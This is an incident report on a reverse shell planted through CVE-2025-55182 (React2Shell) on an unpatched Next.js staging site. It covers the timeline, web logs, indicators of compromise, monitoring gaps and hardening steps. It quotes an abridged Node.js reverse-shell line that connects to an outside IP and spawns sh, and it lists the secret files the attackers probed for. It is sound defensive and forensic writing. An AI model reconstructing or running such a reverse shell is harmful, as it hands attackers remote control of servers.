INCIDENT REPORT · OCT–NOV 2026
The same door, on a test site
A false alarm led to a real find. While checking a high-CPU alert on a production server, I came across a 159-byte hidden file in /tmp. It was a reverse shell, planted sixteen days earlier through a forgotten staging copy of a client site that was still running an unpatched Next.js release, as root. It's the same class of attack as our August incident, coming through a different door. The affected services and clients are deliberately not named.
The Threat: React2Shell (CVE-2025-55182) again: unauthenticated remote code execution in React Server Components, affecting Next.js App Router apps. The production apps had been patched after August. This one was a staging site, so it was out of sight and out of mind. The bots scanning the internet don't know the difference.
Discovery & Containment
The alert that started this was a false alarm: sustained high CPU on a production server. A quick look showed the load came from scheduled jobs compiling TypeScript every minute plus a routine backup, and it had already settled back to normal. But the same check listed hidden files in the temp folders, and one of them didn't belong.
# hidden, owned by root, one line of JavaScript (abridged)
/tmp/.n 159 bytes root:root created 2026-10-26 03:04:07.648 UTC
var n=require('net'),s=n.connect(20022,'185.177.72.3', … spawn('sh') …)
The entry point was closed within about twenty minutes of the alert, and the follow-up work was finished the same evening. All times are UTC on 11 November:
- 19:18High-CPU alert arrives by text.
- 19:19Load already back to normal. A hidden file in
/tmpspotted during the check. - 19:22File identified as a reverse shell. Its callback address blocked at the firewall in both directions.
- 19:25Web logs show the same network scanning the server in the very second the file was created. The block widened to the whole
/24. - 19:27Entry point traced to a staging app. App stopped, and its exploitable route now returns
502. - 19:28Persistence sweep: SSH keys (including
authorized_keys2), user accounts, cron jobs, systemd units, the process manager and live connections. All clean. - 19:40Payload preserved with its hash and timestamps, then removed.
- 20:10Sixteen days of monitoring history checked: no sign the shell was ever used (see section 03).
- 20:30New planted-file and reverse-shell detection live on every server, and tested end to end.
- 21:36Every other Next.js app on the server checked, and upgraded or mitigated where needed. Server secrets rotated and the affected client informed.
Forensic Finding: The alert was wrong about what it saw, but right that the server needed a look. Five minutes spent checking a "false positive" properly is what turned this up.
How It Got In
The server hosts several Node.js apps. One of them was a staging copy of a client site I'd been rebuilding, and it was still on a Next.js release that React2Shell affects. Like the app in August, it ran under a process manager that root had started, so it ran as root too.
- Reconnaissance (02:42): a sweep for secrets:
.envfiles,.git/config, cloud credentials and framework config files. Every one of those requests got the site's generic page back, so nothing leaked that way. - Exploit (03:04:07): two
POST /_nextrequests. The first errored with a500. The second was answered with a303, the response pattern of a successful React2Shell request. - Payload (03:04:07.648): the reverse shell was written to
/tmpas root, in the same second. - Move on (03:04:07–14): the scanner carried straight on through its list of about forty paths for other platforms. That's typical of automated tooling working through the internet, not someone focused on this server.
185.177.72.66 - - [26/Oct/2026:03:04:07 +0000] "POST /_next HTTP/2.0" 500 96
185.177.72.66 - - [26/Oct/2026:03:04:07 +0000] "POST /_next HTTP/2.0" 303 1166
# under a second later
/tmp/.n Birth: 2026-10-26 03:04:07.648 +0000
The same network has been turning up in our logs since at least March. Among other visits, it probed a different site on the estate on 27 August, the day before the August compromise. That doesn't prove the same operator was behind both, but it was enough to block the whole range.
Forensic Finding: To a bot, a staging site is production. If it has a public hostname it gets scanned, and if it runs as root, one bug in it hands over the whole server.
The Payload & the Open Question
This time it wasn't a miner. It was a reverse shell. When it runs, it connects out to the attacker's machine and hands over a command prompt, with the permissions of whoever started it. Here that would have been root. Because the connection goes outwards, inbound firewall rules don't stop it. It installs nothing on its own and doesn't survive a restart. Anything done through it would be commands typed live, and those leave no shell history behind.
Did it ever connect? The file proves the attacker could run code as root. It doesn't prove anyone used the shell, and this server's filesystem doesn't keep file access times, so the file itself can't say. The monitoring history could:
- The file was seen as it landed. File integrity monitoring recorded
/tmp/.nbeing created 7 milliseconds after it was written, with the same SHA-256 hash. - No shell ever showed up. A check that runs every minute looks for a Node.js process with a shell running under it, which is exactly what this payload produces while connected. That check was running and reporting before and after 26 October, and it never fired once in the sixteen days.
- Nothing was left behind. No live connection to the attacker's network, no stray processes, and no added keys, accounts, scheduled jobs or services.
The evidence says the shell never ran long enough to be used. The one thing it can't rule out is a session shorter than a minute that left no trace, so every secret on the server was rotated anyway, and the affected client was told what we found.
Indicators of Compromise
| Exploit pattern | POST /_next → 500, then POST /_next → 303 (~1.2 KB) on a Next.js site |
|---|---|
| Source | 185.177.72.66, part of 185.177.72.0/24, seen across the estate since March 2026 |
| Payload | /tmp/.n, 159 bytes, root-owned Node.js reverse shell spawning sh |
| Callback | 185.177.72.3, TCP port 20022 |
| Payload SHA-256 | 70ad0a9de7de8926df3604b01b8c1d453aee0845cdb616e7f54fd61143d22833 |
| Live signature | A node process with an sh child, holding an outbound socket to the callback address |
Forensic Finding: A planted file proves the door was opened. It doesn't tell you whether anyone walked through. Answer the second question from evidence, then rotate secrets anyway for the part the evidence can't cover.
Why Monitoring Missed It (Again)
After August we added web-log coverage and React2Shell-specific rules. They didn't catch this one, and it's worth being straight about why. It also started one step earlier than monitoring: the web framework's own package declared which patched releases it needed, but a project setting told the package manager to ignore that check, so the vulnerable release installed without a warning.
- The request landed in a log nobody was reading. The August fix brought in the per-site proxy logs. This staging site had a custom setup that wrote its traffic to a different per-site log file, which this server's monitoring agent wasn't collecting.
- The rule was written for the last attack. The React2Shell rule was modelled on August's
POST /. This attack usedPOST /_next. The rule also only escalated after three hits, and this attack needed two. - It was seen, but nobody was told. File integrity monitoring logged the payload 7 milliseconds after it was written, as a routine low-severity "file added" event. It went into the log and no one was alerted. Detection worked; alerting didn't.
- The payload was small and quiet. A 159-byte script with no CPU load, no mining-pool traffic and a short-lived process slips straight past checks designed to find miners.
- Too much noise. In the days before discovery, harmless scanner probes against another server were paging by text up to ten times a day. When every alert is urgent, none of them are.
Forensic Finding: A rule written from one attack catches that attack. Write detection for the technique, such as any POST to framework internals, and collect every log file a site can write to, not just the ones you expect it to use.
Remediation & Hardening
The entry point was closed the same evening. The detection gaps were closed within the hour.
Detection
- Web-log collection now uses wildcards pushed from the central manager, so every site's logs on every server are read, including sites that don't exist yet.
- A single POST to Next.js internal paths that comes back
303or500now sends a text straight away and bans the source across the whole estate. The rule was tested against the real log line from this attack before going live. - Scanner probes that can't succeed, such as Shellshock attempts against static pages, are now logged without paging, so a text means something again.
- The top tier of alerts (miners, shells spawned by web processes, mining-pool connections and framework exploits) now also goes to an AI model for an instant triage verdict and a suggested first step, which arrives as a second text.
- Planted-file detection on every server. A new file with a hidden or script name in a temp folder now sends a text within seconds. Every minute, a check also looks for hidden or executable files in temp folders, a shell or interpreter holding a network connection, Node.js connecting out to an unusual port, and programs running from a temp folder. Both were tested end to end with planted test files, and known-harmless temp files are excluded so a text means something.
Containment
- The attacker's whole
/24range is blocked, inbound and outbound. - The staging app came back only after its framework was upgraded to the current patched release, it was moved off root to its own unprivileged user, and it was bound to localhost behind the reverse proxy.
- Every other Next.js app on the server was audited against the full advisory list, not only React2Shell. That turned up newer, unrelated remote-code-execution flaws in several releases. Each affected app was upgraded or had the vulnerable feature switched off the same night, with the reason recorded in its code so a later change can't quietly undo it.
- Two apps were found listening on every network address rather than only on localhost. The edge firewall was already blocking those ports, but both now listen on localhost too.
- An old internal knowledge base, which was being served publicly from a web folder, was retired.
Still open at the time of writing
- Moving the remaining apps off root, which was started after August but never finished.
- Moving the main platform to the current major framework release. Its exposed remote-code-execution paths are already switched off, so this is being done carefully through staging rather than in a rush.
The Mitigation Strategy: Patching fixes one bug. Least privilege limits what the next one can reach, and detection written around techniques rather than incidents shortens how long it goes unnoticed. This incident got through at the point where the August lessons had been applied to the apps we were thinking about, and not to all of them.
Lessons Learned
August's lesson was "never run web apps as root". We applied it to the app that was breached, and to one other, not to every app. This incident went through the gap that left.
- Staging is production to a bot. Anything with a public hostname gets patched, monitored and de-rooted like production, or it gets taken down.
- Finish the job. A lesson applied to part of the estate is still a gap. Least privilege only counts once it covers every app.
- Detect the technique, not the incident. Rules copied from the last attack miss the next variation.
- Collect every log a site can write. Use wildcards and push them centrally, so coverage doesn't depend on remembering each new site.
- Check the false positives. This was found because a dull alert got a proper look rather than a shrug.
- A log is not an alert. The payload was recorded within milliseconds and nobody heard about it for sixteen days. Make sure the events that matter reach a person.
- Don't switch off the safety net. The dependency check would have refused the vulnerable release. Settings that silence warnings deserve the same scrutiny as settings that open ports.
Need a second pair of eyes?
If you think your systems may have been compromised, or you would like an independent view of how exposed they are, get in touch. I reply personally, usually within a working day.